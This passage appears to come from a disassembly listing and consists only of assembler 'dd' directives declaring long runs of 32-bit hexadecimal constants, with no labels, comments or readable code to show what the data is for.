7C8A19A5h, 0D535D189h, 578F087Ah dd 37A8BEC5h, 0C4AB344Fh, 5981C736h, 4DE02387h, 0A5D16E93h dd 215D3012h, 0AA94418Ch, 41CEE506h, 302DBD99h, 472F6454h dd 0EBE73567h, 2DD68A04h, 0BA00E3CFh, 7A641B1h, 0E8194260h dd 0CC0D15C6h, 3C1C693h, 0AFB9FD5Dh, 0BC9F84F9h, 65A52AF1h dd 0F645B1DCh, 58CDC467h, 52D570DBh, 341BA2D1h, 8402DCE7h dd 0A9B42D9Ah, 3482AA33h, 2BC4B8E4h, 4F663915h, 0C1AB78F9h dd 0EEEB17B1h, 5F322C4Bh, 0B30C5494h, 39DAE1A6h, 0A69E8A7Eh dd 0A50D4470h, 0DC65D0Bh, 0B20348DDh, 14A202F3h, 1A8AF646h dd 12C39B30h, 6E166210h, 79161680h, 0ADE70BAAh, 0A9323882h dd 427BE28Ah, 0F7311C1Dh, 0B664CF53h, 79464291h, 0FFEDBE3Ah dd 38AC6CBAh, 0ACCB5CB7h, 969CD0DCh, 0A77061F1h, 1BECF922h dd 0FD48969h, 0E67D38EFh, 93A68F7Fh, 8F01F323h, 80596BB4h dd 0B5616D7Bh, 0BA0873AEh, 96A5DAEh, 4F0E63A6h, 0C1B709A1h dd 0A56A6A00h, 0AD7A6C2Dh, 2ACDD47Dh, 23D8D44h, 5C7E5FFAh dd 3656017Eh, 42BC4D55h, 0D825F6A0h, 315DF79Eh, 8664A0DFh dd 0E4CC3818h, 6C9168EEh, 0DEE2ACB0h, 649A1ECDh, 0D0DAE369h dd 2DFE38F8h, 5B96474h, 8E05CF9h, 90FF6FB8h, 2EC51AA3h dd 1FB60C3Dh, 280E616Dh, 5BEC5FC7h, 0F2A30972h, 0DC176379h dd 0F521C4DEh, 4EC4AF3Dh, 0E9E89B20h, 2BAEEF50h, 0A1BD7681h dd 38B561F8h, 0B7777907h, 0D6A0EA04h, 3605683h, 13953BAEh dd 6277FF0h, 6960C47Ch, 9AD2BD4Dh, 64F5DD34h, 0A74EE88Fh dd 5D6DB064h, 2876FDD3h, 0BA63B879h, 5E093DE2h, 1762212Bh dd 0EB48CF77h, 94A8619Bh, 6F78C445h, 241FC7Fh, 0D0509443h dd 0EA8C6D50h, 4969058h, 7F4F58AFh, 2FEF445Eh, 83068837h dd 0EF2DC2BDh, 7B935BEh, 636CFD4Eh, 0F1A64E0Ch, 9DB975C4h dd 0E5F3E63Dh, 50B2E694h, 684AFC51h, 17BB5DEBh, 0DE6970D1h dd 3F6BDC8Ch, 25E5BC13h, 0DEF6A13Bh, 264CCA8Bh, 0BA5E4D8Eh dd 1C9C9A92h, 884494BDh, 6FED8106h, 0DA275FEDh, 6867226Fh dd 0B249CF38h, 9448EEBCh, 0C196B209h, 7029F03Fh, 0A5663B64h dd 0BD5591E1h, 0A006BCD5h, 38F704DDh, 3CAA2D4Eh, 1A5AA489h dd 0FB22AD59h, 0A54CF5A5h, 0C013CB1Ah, 0AB678330h, 0B8ADC7CCh dd 0B41F9E67h, 695F1BD2h, 830D1014h, 9C8A282Fh, 98E941EDh dd 9D1C51EBh, 60BCBA09h, 0C0ED67Bh, 76D90D87h, 0AE5E1A50h dd 0B8266C4Ch, 13F30E09h, 9926B6E7h, 0C012A134h, 0AE490318h dd 474102C1h, 7F72B107h, 999C0F02h, 22866C15h, 0C8A943B7h dd 757CD466h, 65A2E2E8h, 0C31EBE8Eh, 77EA9CCFh, 651516E3h dd 3923437Ch, 0E021FA7Dh, 3405B2ABh, 1E8AA192h, 211740ADh dd 4F357CEFh, 0A88492E7h, 7F0087F9h, 25AE9F05h, 3234EDF6h dd 8F08F0FAh, 4EC5413Ah, 3F59EBADh, 0F702C68Ch, 0F6B15BE5h dd 8E3B275Fh, 6166CFADh, 0A2330427h, 0F96B9A6Bh, 0D02DE938h dd 133BDFFh, 8E161666h, 0D7293216h, 453D75A1h, 197FC894h dd 0BE9D5441h, 0F222FF13h, 18658281h, 71A4BC94h, 610CDB43h dd 0D3DD6B75h, 53198823h, 0FD5AD7CFh, 15A76AA1h, 0B2AF70A7h dd 0AC43C6B7h, 7BD7F514h, 0FABA1348h, 4FC9936Ch, 0E27F1C3Bh dd 500CDE09h, 0DAA2A460h, 898671DCh, 0A66B442Fh, 0C39D392Ch dd 7B072EA2h, 417C166Dh, 3E6FAE7Eh, 2DD8866Fh, 0D2BB66E4h dd 0F4F79E13h, 2F975844h, 0C5289597h, 2ABB26A9h, 35B55FC4h dd 0BCD1BC83h, 61A70DAFh, 0E2837C27h, 298CE3D1h, 0A948CB45h dd 0D59C70CCh, 0C33BF140h, 31606244h, 25E73AF4h, 5B63589h dd 477FAAB9h, 18D767Fh, 44140747h, 0BEAB707Bh, 0C5948877h dd 515EEB43h, 6C0B41FAh, 91D35B3Ch, 0EE1F96D4h, 0D71AECABh dd 3C69EF2Dh, 0CE12DE76h, 0C9F752A1h, 0D515357Eh, 0D33A10AEh dd 0BDA63A9Ah, 0A4E9991h, 987D3238h, 911C1859h, 0B2B396F8h dd 3064A455h, 2C17BFABh, 1ECF04D9h, 0CD513000h, 67CC0C9Eh dd 77686B2h, 8ECF36ACh, 8D432A10h, 0D47CF89h, 0EBD77497h dd 0A9103A32h, 327A287Eh, 82CBA332h, 258A5AC9h, 7CC7E28Bh dd 2309A4C2h, 711D664Ah, 0CEB3482h, 0C60CD80Ch, 2775013Eh dd 35C91A5Ah, 0CE3D9Ah, 4B2648Ah, 624B8D0h, 5EA4AB41h dd 7E42864Eh, 984E7A7Eh, 496C9CABh, 7458636Ah, 0E17534F3h dd 882B71E7h, 7D8B99C9h, 0C8FD5FCFh, 812D4511h, 0EF93822Ah dd 4C5B5208h, 247B80ABh, 3614C36Bh, 0E2609B8Fh, 9A3A8770h dd 4617F5FBh, 496282B0h, 0E819790h, 418A8931h, 4D361FD6h dd 0A05FFA1Ch, 163635Fh, 6BCD966h, 2CABF674h, 1485E5C2h dd 9FA2BC57h, 52C452ACh, 0DD2675C3h, 7A5BAAEDh, 4AB51D6Ch dd 0F642E4A7h, 19A11CCAh, 95734ED4h, 6BC70F89h, 0A575367h dd 0B995336Bh, 5AEF7937h, 95B8AE83h, 956E800Ch, 31D36B44h dd 0FD4B1A3Ah, 0A31007F6h, 2A54C26Fh, 0E24D4817h, 3EEA5772h dd 628284C4h, 90AF5AE6h, 0C4147571h, 8AE226C2h, 0FE32FE76h dd 0C0EA7150h, 2309DC09h, 7098316Bh, 0F6922BE5h, 0EDC2E51Fh dd 0B7AC31FBh, 428EDCDEh, 0C2F1A1D1h, 0C72CE63Ah, 9CC773B8h dd 2D8F7C0h, 5F4A297Ah, 0ABA0217Dh, 430A65C9h, 0F6972DFDh dd 0D75E9B9Fh, 72F14753h, 0E1193C31h, 269C9DDCh, 0C8020A72h dd 0B23AA038h, 94188345h, 0C786230Dh, 16482CC3h, 642400E4h dd 10583591h, 2FC902C9h, 0A8FF71DBh, 4D47C96Ah, 83BA69C0h dd 4E7F8A58h, 0D1BAE897h, 0D91791E4h, 12BB9DCEh, 0B137B357h dd 275CB218h, 8C06A17Ah, 0AE494C4Fh, 13BCB6C9h, 137803B7h dd 0C99082B5h, 6F42EA1Ah, 3578556h, 0A0E96AD8h, 3789E18Eh dd 1F343381h, 0B184DC60h, 61EC0FBDh, 6B3F78Bh, 54B3F62Ah dd 0B1FAEACh, 7934E475h, 4ACBD81h, 0B7E4147Fh, 0F955A0A8h dd 0BFDB3F46h, 40A7AAB7h dd 75B87929h, 1C6FAF4Fh, 0E4DE39E2h, 66009AEAh, 0D320F01h dd 1D06A91Ah, 404273F8h, 0B80675B9h, 0F935D85Dh, 0F4753569h dd 52D569DFh, 0CB0234FAh, 47224EF0h, 32CFD23Bh, 0F478AA83h dd 0DD7C90F3h, 57F6E3CEh, 4AD2FA37h, 0A45051CCh, 5E17FDB9h dd 4477616Dh, 0DA6E7812h, 0C061084Ch, 36639F75h, 0F6734358h dd 0A3528AE0h, 8E1D1202h, 6DAA7DE7h, 283FAC1Eh, 0D41B2B08h dd 0ACDAD84Eh, 0D2834129h, 3FED6AD9h, 0DC0DECD6h, 0B1FACD55h dd 1A066AA2h, 5D8B1BFFh, 61E2202Dh, 0ACDE0B24h, 202A4475h dd 5AEC7397h, 64D43E4Eh, 0C6A820EEh, 0CA20EEAAh, 0E46594BEh dd 7A596DC0h, 4375BD5Dh, 5127B8EBh, 19A5C6E9h, 49998587h dd 3FC961EFh, 8AB60956h, 408E4344h, 8479499Ch, 64E49754h dd 0F212091h, 0A82F26D2h, 0E499DF0h, 5B73472Dh, 57D76246h dd 0A9A10147h, 0B8F88F0Ch, 7787F21Ch, 147329D7h, 0BA993AFEh dd 0F354B6C8h, 73BD4D45h, 7D423850h, 2877D4E1h, 3D0B73CEh dd 97E0BF3h, 0E498753Eh, 0CFA5DD2Ah, 0D0537EB3h, 6AB95355h dd 7D1EACE4h, 6610183Ah, 4F132B2Bh, 7290513Ah, 0B9577B30h dd 27238B6h, 7B91B698h, 66597A2Bh, 654C2E83h, 2EB57D5Dh dd 2136C22Bh, 3F8CA248h, 0BD449D79h, 67642DFAh, 44AA3BCCh dd 0F486E07Bh, 612BE8A7h, 3F9C27D6h, 0ECE7AC1Bh, 67098F70h dd 0A73D388Dh, 0AC284616h, 99C950C7h, 0F16FFA8Ah, 396F9E80h dd 5644CADDh, 79F1D708h, 0A10B4254h, 6AB2E05Bh, 209BA715h dd 0DC8588E8h, 0D59BE99Fh, 73CD6FD4h, 7B4A5635h, 23594E0Fh dd 65EE117h, 4DF44598h, 0E49BD156h, 32C04F3h, 0FDBA062Bh dd 4ED7AFD0h, 0DEB252FAh, 3EFBC9B1h, 8BFE2134h, 493983EDh dd 43801230h, 0E4295A6Ah, 0F5C097D4h, 0B8E432BCh, 31D887F7h dd 0EE1F5FBCh, 449D7C69h, 0D4B5A59Bh, 3D82BB4Dh, 536D2BE4h dd 38F8A6C3h, 0CCCA0B73h, 0C58A7DDFh, 0E11A63BBh, 0AAE5AD2h dd 7AE4B6FCh, 0F902DFC8h, 728FB950h, 0A8C13BD2h, 4ACFFA23h dd 0F455C1D8h, 0BF5FCE88h, 6588DE83h, 0FF113DEBh, 50C1ABE3h dd 0B916304Ah, 55464F5Bh, 0A314056Fh, 0E8A016FEh, 6C5E01B5h dd 1BE66976h, 0F4287DD1h, 914AB625h, 6B681751h, 0B69A28EFh dd 82EDBF57h, 0C8BA9CB7h, 3360C9C9h, 54D67031h, 0EAE027ABh dd 62062B99h, 7ECC7D23h, 7985058h, 7C3C6F7Ch, 0D292DD17h dd 0AA6E64FAh, 90FAF647h, 0F9BD4647h, 0A37F90C3h, 0CCBF7D12h dd 3C4652DCh, 0ECAA9EDh, 2E92D536h, 0B364FB10h, 2450D5B1h dd 6BA4DACDh, 9156F77Bh, 7E0BD444h, 3F8EF781h, 56F075DDh dd 20501D1Dh, 82EC123Ah, 9E52ADAAh, 93A71F1Ch, 9A174ED4h dd 0C72A94A4h, 746B38BEh, 43995861h, 218B224Ch, 0ED573CBDh dd 5B4F659Fh, 3AD45ABCh, 9700C65h, 307E0CCFh, 6E4BD062h dd 0E819A18h, 60C574D1h, 3309C0C6h, 0A884087Dh, 65572A3Eh dd 4F661EBAh, 679A6097h, 0E5122EE5h, 0BD6C1895h, 25C9DCF8h dd 16DDB476h, 586DF85Ah, 331896DEh, 0C2C39C1h, 6443456Fh dd 67B7274h, 833D7D27h, 80A86B0Ch, 95BF2B5Ah, 59870BBCh dd 9C713740h, 0FF04E7BDh, 0C5B90716h, 42723CD2h, 5E0FBD09h dd 0F454A5FCh, 0DC61B5F6h, 76D7BA9Ah, 0A539BD3Eh, 807F5355h dd 0B03A59D4h, 5DA4172Eh, 91759DECh, 0D2045193h, 4A165D11h dd 0F0CC7881h, 0F5D39135h, 0CD3EE950h, 8BF35DA9h, 9EBD3B43h dd 9750578Eh, 0D535CD65h, 49FA82E2h, 706EEE7Eh, 0D6E9195h dd 7950772h, 74C17B13h, 0D1B3CDA9h, 7B1BB3A1h, 1D038E0Ch dd 26C3F0B1h, 0BF3F390Eh, 0B642DCA4h, 0DB426AA7h, 99E1918Fh dd 2BCAF1F1h, 0C8556DB8h, 0DEED74C4h, 1A7D3804h, 78D72C1Bh dd 3841470Ah, 9907C32Bh, 4B7E1416h, 4AEFA47Eh, 2913E8A6h dd 51B46EB1h, 5AA02195h, 8C280936h, 55734142h, 0D40848Ch dd 0EC90B24Dh, 0AB705FA4h, 3C090F4Ch, 0F7A530F8h, 6204BBACh dd 64E79327h, 2DA9722Ah, 99876BF1h, 6894282Ch, 1C7740C0h dd 84708340h, 0A7ED72B5h, 0C800B822h, 0D3E26054h, 97B3E3AEh dd 616FC749h, 0C1F936CBh, 0A376D4F0h, 0E90D8D37h, 0E676D7A5h dd 0DCAC6F18h, 5ACB5E05h, 3ACFABFBh, 24A8537Bh, 91708DBEh dd 916A2A5Eh, 0AAAB8DA1h, 0DF559B42h, 42BDFAE7h, 77ADB106h dd 98DA1C52h, 96010ABFh, 210691C5h, 7442B409h, 45D07B0Ch dd 0E1FCAA8Bh, 0E241FC44h, 832FD7EFh, 0DC9075CDh, 0EEEBB86Eh dd 0AF6FE7B5h, 0BC7D6549h, 0DC23319Ah, 43C4974Fh, 5BC954CFh dd 2C6B9F6Fh, 0E1A1B18Eh, 0DE2D0EE2h, 1523E6B5h, 4CFF49D9h dd 9373D0CBh, 67F7B9C6h, 33C58138h, 65E3FBA5h, 0F80935B3h dd 0D0EB7420h, 70F97F6Ch, 0FCBC1B9Ch, 0D423713Eh, 0B3DABFCEh dd 0EE764F42h, 0E3456EC7h, 0B1E4472Fh, 417C2032h, 0BBEBD81Ah dd 86428182h, 1E362900h, 7556958Eh, 46BC1065h, 13303130h dd 587AF4CFh, 8E02797Eh, 0DD185B14h, 0A45E0535h, 23EE95F2h dd 0F56EE955h, 25AC5E3Bh, 83380ED7h, 0C348DCC3h, 0CC396F25h dd 4FE97559h, 0D60D4B95h, 3A9A04C2h, 0A75F4E31h, 498D0BD4h dd 88087ED5h, 79C0922Ch, 7ED1E072h, 4D5AF720h, 0F9DC5467h dd 5EE569FFh, 0A2C8C7CEh, 0D494616Ah, 0EDB5D46h, 1BAB8D61h dd 2EC689AEh, 59DB1A5Ah, 0FBBC66CBh, 0DDA4A60Bh, 45531729h dd 814FB186h, 8899261h, 0ECC34F5Dh, 5DECF46Fh, 3C419B01h dd 9BB0D7A6h, 0BB73B8B1h, 34BC13EAh, 4F645915h, 76F33EA9h dd 98E541E7h, 85EBDC5Dh, 4151CC85h, 0BA1753D1h, 0CC021CDFh dd 0DE5399F1h, 0A3E6EBD4h, 68D4A8DEh, 588BF823h, 27562340h dd 1F7C9F32h, 0C0D4E7CEh, 74138C21h, 323D01D5h, 3D98C36h dd 2DFC0064h, 1C776EB8h, 82D55C8Eh, 0E6EE1E40h, 0DE50E9A2h dd 0C42AEB84h, 0C87A27h, 83E5ED71h, 75786C00h, 88D8CEAh dd 3AC988AAh, 0D9AB8CA8h, 87166BD5h, 55B2C388h, 1E5152CCh dd 5762ECE0h, 17A3935Fh, 6B835CF6h, 1C588AA0h, 8D849D67h dd 33872830h, 19646502h, 0AD1F414h, 31A6F08Bh, 58904DAEh dd 86770A65h, 0A5B821B1h, 0A5C8959Dh, 0A1F39E68h, 0BF853C1Fh dd 0F60D706Fh, 2AAEC6C6h, 0F8FB2837h, 2061B8EDh, 13AD1C2Bh dd 4D5FE35Dh, 7F5E1D00h, 68F48937h, 3C5C2BBAh, 2CB376FFh dd 0A6715E81h, 32BC04F9h, 3642130Dh, 0ED803F67h, 0DE14729Dh dd 61077A56h, 0E45A467Dh, 6E0A40B0h, 9226EC0Eh, 0C1C99206h dd 242055F3h, 0DC7A8EBAh, 1FA3D154h, 0F727831Eh, 4E5E73D7h dd 7F9CC5D9h, 333DB0D6h, 74F38A67h, 3AEE516Dh, 0F7625F7Dh dd 5EE43607h, 30F8375Ch, 0F9CE51Ah, 70B96500h, 85D76AA6h dd 461ABFC6h, 0B0733062h, 0B27FC2B5h, 1884ABB4h, 9EF675ACh dd 75561FDDh, 0E4AFC4E9h, 0C7E1CE38h, 9504303Dh, 74E8B0F1h dd 27DA4A83h, 74F2A0F0h, 376C8C9Bh, 509C04A0h, 567DC602h dd 5A3D3F52h, 30FD745Ch, 0C8F923ACh, 50BEE356h, 69EE56A9h dd 622527B4h, 2C9B3C44h, 62532F5Ch, 3B398D35h, 0A5C18507h dd 68B6E3Fh, 43C5692Ch, 0FF23D093h, 0AF84A9BEh, 879F78C9h dd 0B3E9F886h, 63BF66A8h, 0EFE5E0ADh, 33AF399Ch, 8E55E88Eh dd 0F648BB6Ch, 0FE9545A5h, 81788225h, 0A4C94EE1h, 0F9D9ACC1h dd 0E1D5D7AFh, 991AE0BDh, 49E8E33Fh, 0CB705071h, 90C9E2D8h dd 0B0606112h, 63781249h, 1CEE1FE2h, 39253594h, 8FE3BF13h dd 88BE4587h, 2E927EE3h, 0D249C8B8h, 7E57847Ah, 779034Eh dd 5B6381CCh, 0E54F42B5h dd 0EF57DD0Bh, 1CC1C30Fh, 35777314h, 4F626C5Eh, 0CCF376CEh dd 0C0238AE2h, 70EC62CEh, 7CEF3A7Dh, 80C54176h, 1B79896Eh dd 8ADDB0C4h, 9720A5E5h, 0A387B9DAh, 0D2C0F5C7h, 0DEAFB22Ch dd 994AD436h, 29D7DA68h, 1A633392h, 210540C9h, 9090B8E4h dd 7E2BEE29h, 5F800270h, 0B7F36E9Ah, 0FD4B397Dh, 11DCFB5Ch dd 2B510AA6h, 7BF4495Fh, 845EC724h, 60147BC9h, 0F5401939h dd 0FBBC315Ch, 8699A085h, 32E3C509h, 2ABDCF6Ch, 552A84D9h dd 2AF63626h, 832AED0Ah, 0BF509484h, 0E50D5CA8h, 4FBE4A86h dd 5CB87534h, 0E00DDF23h, 0FBE21C31h, 0A0C7DC16h, 0B50533A3h dd 3706B87Dh, 819F5E96h, 0A2D2AC82h, 55A3F584h, 9AF40EF6h dd 6FC0D9BBh, 6853BF27h, 0C71B8B3Fh, 0D5723612h, 7D880445h dd 3F102657h, 759713E0h, 809A6869h, 0AD449068h, 0B7D3689Fh dd 20F199C4h, 0C0C4CB36h, 1FD9DCCFh, 0D3868305h, 0A8AC3D51h dd 0FD30783Fh, 2FAD6E44h, 0AC5802DFh, 3D7987BBh, 690252BCh dd 0BC13A63Ch, 0FA22AC8Fh, 0AF1F34A4h, 0AE7A7AEFh, 0BD7C1D8Eh dd 0F5144A32h, 0C4F1687Ah, 3B30187Ch, 69601FFh, 0D76A923Fh dd 74449C01h, 0C332507Eh, 8A6B6604h, 0F70C3692h, 0EAF7A14Ah dd 0F31C0BBFh, 81A4B833h, 928E96BEh, 0C12C66D9h, 22C88731h dd 53DA198h, 0C9EA2B41h, 3118E44h, 26677454h, 7CCF139Fh dd 81083069h, 996BF412h, 97D306F0h, 6976F406h, 8904FE85h dd 4416C69h, 0D849BE1h, 1BE8A653h, 0C86AEDF7h, 33AD05D0h dd 0DA282FE8h, 0F78C7AB0h, 0FDBB235Fh, 93E4D98Dh, 0BE236744h dd 0A151C055h, 0E08290B3h, 7016A3B8h, 0D38ED1Ch, 0D78153ABh dd 5E02C2B0h, 1FA9B2B0h, 85E3F7ACh, 0BB265889h, 60FB380Fh dd 64527D55h, 0B663E07Ch, 0BDA3E091h, 47A8D129h, 811263DCh dd 75E04755h, 1ECEDF28h, 3F837FC4h, 0FABEB59Ah, 63724866h dd 930E0CCAh, 0A4650D26h, 77A6E833h, 322D1C66h, 38CECC25h dd 5EFBADD0h, 4D6EAE48h, 0BE22759Bh, 0F4A448DEh, 3F73E4ABh dd 8089B48h, 7824E483h, 690C5E98h, 823A4D29h, 5FB2DFD5h dd 97F7C284h, 2A5F13AFh, 0BBB5DA4Eh, 1C84D992h, 5C59F64Bh dd 29789C11h, 2E0338D5h, 752AC020h, 543BEDF0h, 57D3A9BEh dd 5B3BB2B5h, 0CAA1C6B6h, 0EF2F3496h, 1CAE3F67h, 0BDA92B30h dd 0EEE66EE8h, 45173E84h, 0DEC3E865h, 0C699037Eh, 0B0A0E7CDh dd 70CCD572h, 88080B17h, 0F008D93h, 78295DFh, 996BC923h dd 8A4E5044h, 0DCABBBE3h, 0F50085FBh, 430ED6B1h, 0EB1D8355h dd 78AA4DCFh, 0CB7F257Eh, 40660C55h, 0DD22D8C1h, 7299500Dh dd 2A366E6Dh, 101FB722h, 1C4C8C35h, 0AFD6DF59h, 5DFECBA6h dd 0E496D478h, 0BF2132B1h, 63B333A0h, 8A20734h, 470FF208h dd 4D023894h, 8253A6E8h, 0C202D04Eh, 8C4B9943h, 0D7AD688Eh dd 0F651ECA0h, 0C807BE5Ah, 0FC3AB8C5h, 946BDCA2h, 0ED05998Eh dd 1D8E3E7Eh, 45CE468Ch, 99AFA8C8h, 11917A14h, 3E327AA2h dd 4A455504h, 0F50BB53h, 0FD8CF390h, 97BB7DDCh, 8CB4BA70h dd 0F2B3B0F7h, 87EB40D5h, 0AB9380ACh, 84B0A39Ch, 7B978CF2h dd 965787F7h, 0BB675F3Ch, 14EFCBEBh, 65763F75h, 0BC2A417Bh dd 85A9A57Dh, 0B98ECBABh, 0BAEBA80Eh, 0CC4BA2DFh, 0A21FE468h dd 0CF4824C0h, 7E117A07h, 0E7F0C720h, 0EF35948Bh, 132A7FB0h dd 0CABB3EBFh, 0FB80327Eh, 8F17D266h, 8DA3ABBDh, 2345FA62h dd 0F6E600F7h, 0FB472834h, 687CFB52h, 0C855F210h, 1C5E71DCh dd 0FFAC058Bh, 5E1D9413h, 0AB2A3C58h, 0DE3F84EEh, 0C77B80C0h dd 0DB4A9A88h, 8CE89C84h, 6AD0F46Ch, 0DD5963F3h, 762CD278h dd 0AE5E997Fh, 9987BC11h, 0BCA35FCEh, 6BF71336h, 8EA7002Eh dd 3DAA7C58h, 9C03F6E7h, 24CDCD18h, 0B64ECB5Fh, 26D8CA6Eh dd 488C359Fh, 5FF8941Eh, 411E4EC8h, 0EEE25332h, 37551C88h dd 31468A37h, 0C8F6F345h, 0BD27473Bh, 15C0D257h, 91EE529Ch dd 852A72E7h, 336872A7h, 6CB294CFh, 7BCD02E5h, 9A59978Bh dd 3B59C21h, 74AF110Ah, 0E85AA740h, 53608EDCh, 0C5A6B238h dd 0C9E5F602h, 0DB0E63D2h, 52057396h, 0B6527446h, 91AD9h dd 6C29A7AFh, 6340978Dh, 597F522Ch, 719884F5h, 0BE16F8E5h dd 0EC0A4781h, 592CC126h, 9C0905B1h, 43DEB753h, 3AC8ADE5h dd 0B9A07AC1h, 4A43AF5Eh, 0D97B6FA1h, 689F781Eh, 83E066F5h dd 2F3915B8h, 3A579D98h, 0E797D31Ch, 30C62BDAh, 305BB575h dd 0EB5F9B20h, 0B0A9E4D4h, 36B85A19h, 61F5507Eh, 39FC016Ch dd 660AF142h, 0F4FE2CD3h, 0ADA3D094h, 0B5F3D8F8h, 6820AF8Fh dd 9F5ED20Ah, 508F664Ah, 4B337F2Eh, 0B3ABF631h, 0A9EB229Fh dd 7A39B76Fh, 0FA48EDF2h, 54B639A3h, 51B4607Bh, 0D559648Bh dd 4070C874h, 81336895h, 0A78E3D09h, 0ECB800FCh, 64A19AB1h dd 659EDC27h, 6647E2D5h, 0DDE3F1D3h, 0D73F7CA8h, 0ACFB52D8h dd 0D7D905E8h, 4E63E2Ah, 3557B678h, 0DA96DB91h, 0C82B8F21h dd 4D578A82h, 0F31B1431h, 0EE7A037Bh, 44315144h, 397571CEh dd 7040506Dh, 3EC90F5Bh, 77B5B1DBh, 0C34EE1D1h, 0DDDBC980h dd 2742AB47h, 0D8EA85E0h, 54B2AB11h, 34024D21h, 0FA2E1A7Bh dd 2466B863h, 0EE11FB0h, 0AF5E1692h, 3209974Bh, 183B2DB9h dd 0E0444D63h, 0AECAF269h, 0E7490CF6h, 0E31E67BDh, 0F6B5BEEDh dd 531B5453h, 0F19037E8h, 124D426Dh, 0AF115518h, 72A0C57h dd 30953FCFh, 31537645h, 0FAB8D767h, 6A78464Fh, 99547DA3h dd 5EF5DC4Ch, 0EE873121h, 3108DF82h, 251E5E8h, 9564211Dh dd 0F5254A50h, 0DD0BD85Ch, 9AFC99ECh, 8AF7FC11h, 0BBD52D73h dd 36DA8221h, 8371A552h, 0D34D0112h, 998A496Eh, 1709572Eh dd 93B2949h, 9DA8525Dh, 18589C75h, 14C0994Eh, 1E3B2498h dd 40C52B56h, 101CCFDEh, 579B16FDh, 0BD6B2148h, 3FC0C558h dd 4602AD8Eh, 5946EB6Bh, 595CC1BBh, 0ABA79133h, 0BFF7BF39h dd 0F288C0EEh, 0F3806EA7h, 3B657AE0h, 88847DF0h, 3298BB37h dd 0A298C3C6h, 985D0990h, 4AFAFC1Eh, 459394F6h, 0E535A984h dd 0C82B492Ch, 27EEA131h, 8F287208h, 0BEA95DB2h, 80FA95ADh dd 1CBFCACAh, 0E4729A1Fh, 2DD26243h, 0D83D1452h, 59EC3BB4h dd 0DA7CD15h, 0A97794C3h, 4BB7AB3h, 7DC495D9h, 1083C9A2h dd 3EF51819h, 0C4DBCC45h, 46BA8ABDh, 3FD19B7Bh, 8D4AF555h dd 501D7B44h, 0D71F498Fh, 7FB1AF6Bh, 35E538Fh, 0EF6B68EDh dd 0CA30B01Fh, 0C76E1456h, 4B4CAEB3h, 37A7BA40h, 295A76C1h dd 0C11A5232h, 0C69E1FFDh, 7E4A27Dh, 57729702h, 78F5128Dh dd 15E9A5D1h, 0C45B2C3Bh, 5B3A1885h, 0CCE12D04h, 0C3398934h dd 3226084Ah, 49A66DB8h, 82F74D05h, 7BA04725h, 139EA00h dd 0CA5A6C09h, 0BDFB0D0Fh, 67554F6Ch, 312E8A10h, 0A306F708h dd 50B55DC5h, 0ACD9C8C9h, 0AE880405h, 3D03104Ch, 0F408DD51h dd 0F2FDE0EEh, 0D093AE4Bh, 672ABC1Ch, 38FECF8Fh, 6167171Eh dd 67842CBAh, 8B43019h, 3EB34DE1h, 1FF47560h, 49A495A4h dd 3FA78511h, 35B37F78h, 8DB74822h, 2DCFC6Bh, 0C2A2ADE5h dd 122F3552h, 38BAE860h, 8BFA7C77h, 5F63E9DFh, 0EC067494h dd 423B3CE1h, 29C77579h, 0A562FF66h, 862A12B6h, 245B4682h dd 591E48F1h, 0FCD5D3B2h, 0BBE6C6E7h, 2BF3F25Ch, 5955F835h dd 612624Ah, 0E87C7058h, 2B6E9D02h, 0D985AD2h, 0D5C74C6Fh dd 0FD2EC1FBh, 27B176CAh, 29934E22h, 31294FBFh, 9BBD5B99h dd 0E46D2883h, 0C6E1CAE9h dd 0CBCE6C7h, 9313DD1Fh, 0F4A6DCD2h, 0D9D77E30h, 55F6706Ah dd 2ABCA17Ah, 1DA20E61h, 13D9725h, 7CC4F34Eh, 343253B6h dd 9F19CCDBh, 0F0FEA387h, 59F9E2F7h, 0CD58FD7Bh, 10D99464h dd 12970924h, 0C43F9E1Dh, 31B7A8F6h, 89239233h, 0C4C733CEh dd 378ACF6Bh, 0A6383192h, 664537D3h, 6086F887h, 4440C318h dd 0F1C18876h, 0B400008Ah, 7EC50FCAh, 0F60B1925h, 7925A416h dd 9F4800A8h, 914B3F73h, 0D67E226Fh, 834A0976h, 9BF75A83h dd 0DE7B7E49h, 4FD71542h, 0A63DAC8Ah, 0F2723176h, 725BCF0Bh dd 0AE55B854h, 0A80B70A8h, 0EA3AD457h, 0F41607EAh, 0E688DD6h dd 95321C3Eh, 8AED9909h, 26098BF4h, 6E86A656h, 24B4EAE5h dd 70E5782h, 7B2BFCB4h, 0FA14F1B1h, 0E7ED55E6h, 0BDBCABECh dd 5310C09Eh, 88EE3C0Dh, 74852373h, 0D94046E6h, 9EF44BC3h dd 31788720h, 3234764Ah, 71802798h, 9838D482h, 33531E1Dh dd 0C7585F27h, 0C6CE82B1h, 0EC3CBDDDh, 20C8FC2h, 2DB861Ch dd 0C66B0A5Bh, 3394181Ch, 341FB904h, 0ECD7F6C7h, 0DA007B97h dd 0C382D14Bh, 0B1445257h, 0A12D6B78h, 0AB879F4Eh, 0B88AA26Ch dd 4F8D3D0Dh, 4B1DAEB3h, 0A80553ABh, 0B01D93E4h, 3F0E0A8Eh dd 3AC1C862h, 0FDC647EFh, 0D8755FBDh, 79554AF1h, 3A6209FDh dd 0E45C1758h, 0B2A3BF24h, 9625E938h, 0CF4B45F4h, 0F0969F73h dd 0E36D4CA9h, 0DDA81137h, 59D66A7Ah, 0FB8AA0ACh, 2B2515C4h dd 85D57438h, 5C52FB9Bh, 8C17729Fh, 0E764C701h, 1557CCA7h dd 146CA128h, 0AD8A5FABh, 0C56B7853h, 0D3840F0Ah, 0E5E2AFF8h dd 522E00AFh, 5869C367h, 0E8110DE3h, 0CC760C58h, 951C56B7h dd 95877C45h, 0B83E07B4h, 0A60355F3h, 212BD57Dh, 0FEEF2BFBh dd 0ED65517h, 0C09875E5h, 0A43B681h, 25B41534h, 52032CAEh dd 2721B787h, 0B2C09788h, 0BC3F5FF1h, 1AA10A28h, 61689B7Bh dd 38C7706Ah, 0AB11C492h, 9F11093Eh, 23B40A57h, 0B6A784A8h dd 0B3425107h, 13150128h, 62E62658h, 27C36115h, 0E24BF9E8h dd 0F799CD7Dh, 70C08B2Ch, 805FC642h, 1BA2FB9Ah, 70597D7h dd 62DA7BEh, 5EE2FE5Ch, 4EA6DE85h, 26ACD5E1h, 0FFF29944h dd 0B26585FCh, 7D08ED48h, 0A204894Ch, 514E2FD3h, 0E285DAA9h dd 7445B87Ch, 178E0908h, 1EF36E39h, 9BAF3728h, 0CABD4E71h dd 0B3D0828h, 0E1D65B35h, 75E103EDh, 3DB6509Bh, 91939966h dd 